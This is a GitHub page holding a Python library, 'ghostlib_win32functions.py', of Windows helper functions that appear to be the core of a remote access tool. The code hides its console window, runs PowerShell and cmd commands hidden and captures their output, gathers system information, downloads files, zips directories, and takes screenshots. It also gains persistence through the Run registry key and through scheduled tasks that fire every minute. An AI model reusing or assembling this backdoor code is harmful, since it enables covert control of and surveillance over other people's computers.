-
Notifications
You must be signed in to change notification settings - Fork 5
/
ghostlib_win32functions.py
439 lines (395 loc) · 11.7 KB
/
ghostlib_win32functions.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
############################################################################
#
# © 2022 ABDULKADİR GÜNGÖR All Rights Reserved
# Contact email address: [email protected]
#
# Developper: Abdulkadir GÜNGÖR ([email protected])
# Date: 04/2022
# All Rights Reserved (Tüm Hakları Saklıdır)
#
############################################################################
import ctypes, os , zipfile, requests, subprocess, winreg, hashlib, time, pyautogui, shutil
from threading import Timer
from PIL import Image
#
def f1_console_hide():
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
#
def f1_console_show():
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1)
#
def f2_os_getcwd():
return os.getcwd()
#
def f2_os_setcd(path):
try:
os.chdir(path)
return True
except:
return False
#
def f3_cd_create(path):
try:
os.mkdir(path)
return True
except:
return False
#
def f3_cd_delete(path):
try:
shutil.rmtree(path)
return True
except:
return False
#
def f4_list_dir(path):
files = list()
directory = list()
try:
for tmp in os.scandir(path):
if tmp.is_file():
files.append(tmp.name)
elif tmp.is_dir():
directory.append(tmp.name)
return True ,directory, files
except:
return False ,directory ,files
#
def f4_dir(path):
res, rescd, resff = f4_list_dir(path)
cd = f2_os_getcwd()
if res:
msg = "Program Working Directory = " + cd + "\n\n"
msg += "Path = " + path + "\n"
msg += ("-" * 50) + "\n"
for directory in rescd:
msg += "<dir> " + directory + "\n"
for file in resff:
msg += "<file> " + file + "\n"
return True, msg
else:
return False, ' '
# rename or move
def f5_rename_file_directory(old_path, new_path):
try:
os.rename(old_path,new_path)
return True
except:
return False
#
def f5_delete_file(file):
try:
os.remove(file)
return True
except:
return False
#
def f6_url_download(remote_url, filename):
try:
file = requests.get(url=remote_url)
with open(filename, "wb") as f:
f.write(file.content)
return True
except:
return False
#
def f7_zip_extract(path_to_zip_file,directory_to_extract):
try:
with zipfile.ZipFile(path_to_zip_file, 'r') as zfile:
zfile.extractall(directory_to_extract)
return True
except:
return False
#
def f7_listdir(directory):
list_files = []
res, resdir, resfiles = f4_list_dir(path=directory)
if res:
for f in resfiles:
ff = directory + '\\' + f
list_files.append(ff)
for d in resdir:
dd = directory + '\\' + d
files = f7_listdir(dd)
for file in files:
list_files.append(file)
#
return list_files
#
def f7_zip_create_directory(zip_file, directory):
try:
resfiles = f7_listdir(directory=directory)
with zipfile.ZipFile(zip_file, 'w') as zfile:
for add_file in resfiles:
zfile.write(add_file)
return True
except:
return False
def f7_zip_create_file(zip_file, file):
try:
with zipfile.ZipFile(zip_file, 'w') as zfile:
zfile.write(file)
return True
except:
return False
#
def f8_start(program):
try:
subprocess.call(program, timeout=5)
return True
except:
return False
#
def f9_persistent_regedit(reg_name, program_name, program_path):
try:
reg_path = r'Software\Microsoft\Windows\CurrentVersion\Run'
reg_value = "{path}\\{name}".format(path=program_path, name=program_name)
#
winreg.CreateKey(winreg.HKEY_CURRENT_USER, reg_path)
#
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, reg_path, 0, winreg.KEY_WRITE) as reg:
winreg.SetValueEx(reg, reg_name, 0, winreg.REG_SZ, reg_value)
#
return True
except:
return False
#
def f9_remove_regedit(reg_name):
reg_path = r'Software\Microsoft\Windows\CurrentVersion\Run'
try:
with winreg.OpenKey(winreg.HKEY_CURRENT_USER, reg_path, 0, winreg.KEY_WRITE) as reg:
winreg.DeleteValue(reg, reg_name)
return True
except:
return False
#
def f10_create_sctasks_minute(TaskName, Program, minute=1):
code = 'SCHTASKS /CREATE /SC MINUTE /MO {min} /TN "{taskname}" /TR "{program}"'.format(min=minute, taskname=TaskName, program=Program)
try:
subprocess.run(code)
return True
except:
return False
#
def f10_create_sctasks_hourly(TaskName, Program, hour=1):
code = 'SCHTASKS /CREATE /SC HOURLY /MO {hr} /TN "{taskname}" /TR "{program}"'.format(hr=hour, taskname=TaskName, program=Program)
try:
subprocess.run(code)
return True
except:
return False
#
def f10_create_sctasks_daily(TaskName, Program, time="00:00"):
code = 'SCHTASKS /CREATE /SC DAILY /TN "{taskname}" /TR "{program}" /ST {timee}'.format(taskname=TaskName, program=Program, timee=time)
try:
subprocess.run(code)
return True
except:
return False
#
def f10_create_sctasks_once(TaskName, Program,time="00:00"):
code = 'SCHTASKS /CREATE /SC ONCE /TN "{taskname}" /TR "{program}" /ST {timee}'.format(taskname=TaskName, program=Program, timee=time)
try:
subprocess.run(code)
return True
except:
return False
#
def f10_disable_schtasks(TaskName):
code = 'SCHTASKS /CHANGE /TN "{taskname}" /DISABLE'.format(taskname=TaskName)
try:
subprocess.run(code)
return True
except:
return False
#
def f10_delete_schtasks(TaskName):
code = 'SCHTASKS /DELETE /TN "{taskname}" /F'.format(taskname=TaskName)
try:
subprocess.run(code)
return True
except:
return False
def f11_run_powershell(command, encode="cp857"):
#
#
try:
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= (
subprocess.STARTF_USESTDHANDLES | subprocess.STARTF_USESHOWWINDOW
)
startupinfo.wShowWindow = subprocess.SW_HIDE
#
proc = subprocess.Popen('powershell', stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL,
startupinfo=startupinfo)
cmd = command + b'\r\n'
proc.stdin.write(cmd)
aa = proc.communicate()
proc.stdin.close()
#
dd = bytes.decode(aa[0], encoding=encode)
z1 = dd.rfind("\r\n")
#
result = dd[:z1]
return False, result.encode("UTF-8")
except:
return True, b''
#
def f12_run_cmd(command, encode="cp857"):
#
#
try:
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= (
subprocess.STARTF_USESTDHANDLES | subprocess.STARTF_USESHOWWINDOW
)
startupinfo.wShowWindow = subprocess.SW_HIDE
#
proc = subprocess.Popen('cmd.exe /Q', stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL ,startupinfo=startupinfo)
cmd = command + b'\r\n'
proc.stdin.write(cmd)
aa = proc.communicate()
proc.stdin.close()
#
dd = bytes.decode(aa[0], encoding=encode)
z1 = dd.rfind("\r\n\r\n")
#
result = dd[:z1]
return False, result.encode("UTF-8")
except:
return True, b''
#
def f13_system_info(encode="cp857"):
try:
#
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= (
subprocess.STARTF_USESTDHANDLES | subprocess.STARTF_USESHOWWINDOW
)
startupinfo.wShowWindow = subprocess.SW_HIDE
#
data = subprocess.Popen('systeminfo', stdout=subprocess.PIPE, stderr=subprocess.DEVNULL ,startupinfo=startupinfo)
result = data.communicate()
#
res = result[0].decode(encode, "backslashreplace")
#
return False, res.encode("UTF-8")
#
except:
return True, b''
#
#
def f14_check_file(filename):
BUFFER_SIZE = 1024 * 10
#
try:
with open( filename, "rb" ) as cfile:
size = cfile.seek(0, 2)
cfile.seek(0, 0)
hash_md5 = hashlib.md5()
hash_sha128 = hashlib.sha1()
hash_sha256 = hashlib.sha256()
hash_sha512 = hashlib.sha512()
#
while True:
tmp_data = cfile.read(BUFFER_SIZE)
if tmp_data == b'':
break
hash_md5.update(tmp_data)
hash_sha128.update(tmp_data)
hash_sha256.update(tmp_data)
hash_sha512.update(tmp_data)
#
res1 = hash_md5.hexdigest()
res2 = hash_sha128.hexdigest()
res3 = hash_sha256.hexdigest()
res4 = hash_sha512.hexdigest()
#
#return notError, filename, size, md5 , sha1, sha258, sha512
return True, filename, size, res1, res2 , res3, res4
except:
return False, filename, 0, "" , "" , "" , ""
#
def f14_file_write(filename, data):
#
try:
with open( filename, "ab" ) as wfile:
wfile.write(data)
return True
except:
return False
#
def f14_file_read(filename, offset=0):
BUFFER_SIZE = 1024 * 10
#
try:
with open( filename, "rb" ) as rfile:
rfile.seek(offset,0)
tmp_data = rfile.read(BUFFER_SIZE)
offset = rfile.tell()
if tmp_data == b'':
return False, 0 ,b''
return True, offset , tmp_data
except:
return False, 0 ,b''
#
def f15_time_str():
try:
timestr = time.strftime("%Y-%m-%d_%H-%M-%S")
return True, timestr
except:
return False, ""
#
def f15_time_byte():
try:
timestr = time.strftime("%Y-%m-%d_%H-%M-%S")
timebyte = timestr.encode(encoding="utf-8")
return True, timebyte
except:
return False, b''
#
def f16_screenshot_to_bytes():
try:
data = (pyautogui.screenshot()).tobytes()
return True, data
except:
return False, b''
#
def f16_screenshot_save(data, imagename):
try:
image = Image.frombytes('RGB', (1920, 1080), data)
image.save(imagename)
return True
except:
return False
#
def f16_screenshot_show(data):
try:
image = Image.frombytes('RGB', (1920, 1080), data)
image.show()
return True
except:
return False
#
def f17_timer_once(second, func, arg=None ):
if arg is not None:
#Timer(second, func, ["",""])
Timer(second,func, arg).start()
else:
#Timer(second, func, ["",""])
Timer(second, func).start()
#
# rt = RepeatTimer(second, func, ['arg1','arg2' ...])
# rt.start()
# ...
# rt.cancel()
#
class f18_RepeatTimer(Timer):
def run(self):
while not self.finished.wait(self.interval):
self.function(*self.args, **self.kwargs)
#
def f18_repeatProgram(second, program):
arg = [program]
rt = f18_RepeatTimer(second, f8_start, arg)
rt.start()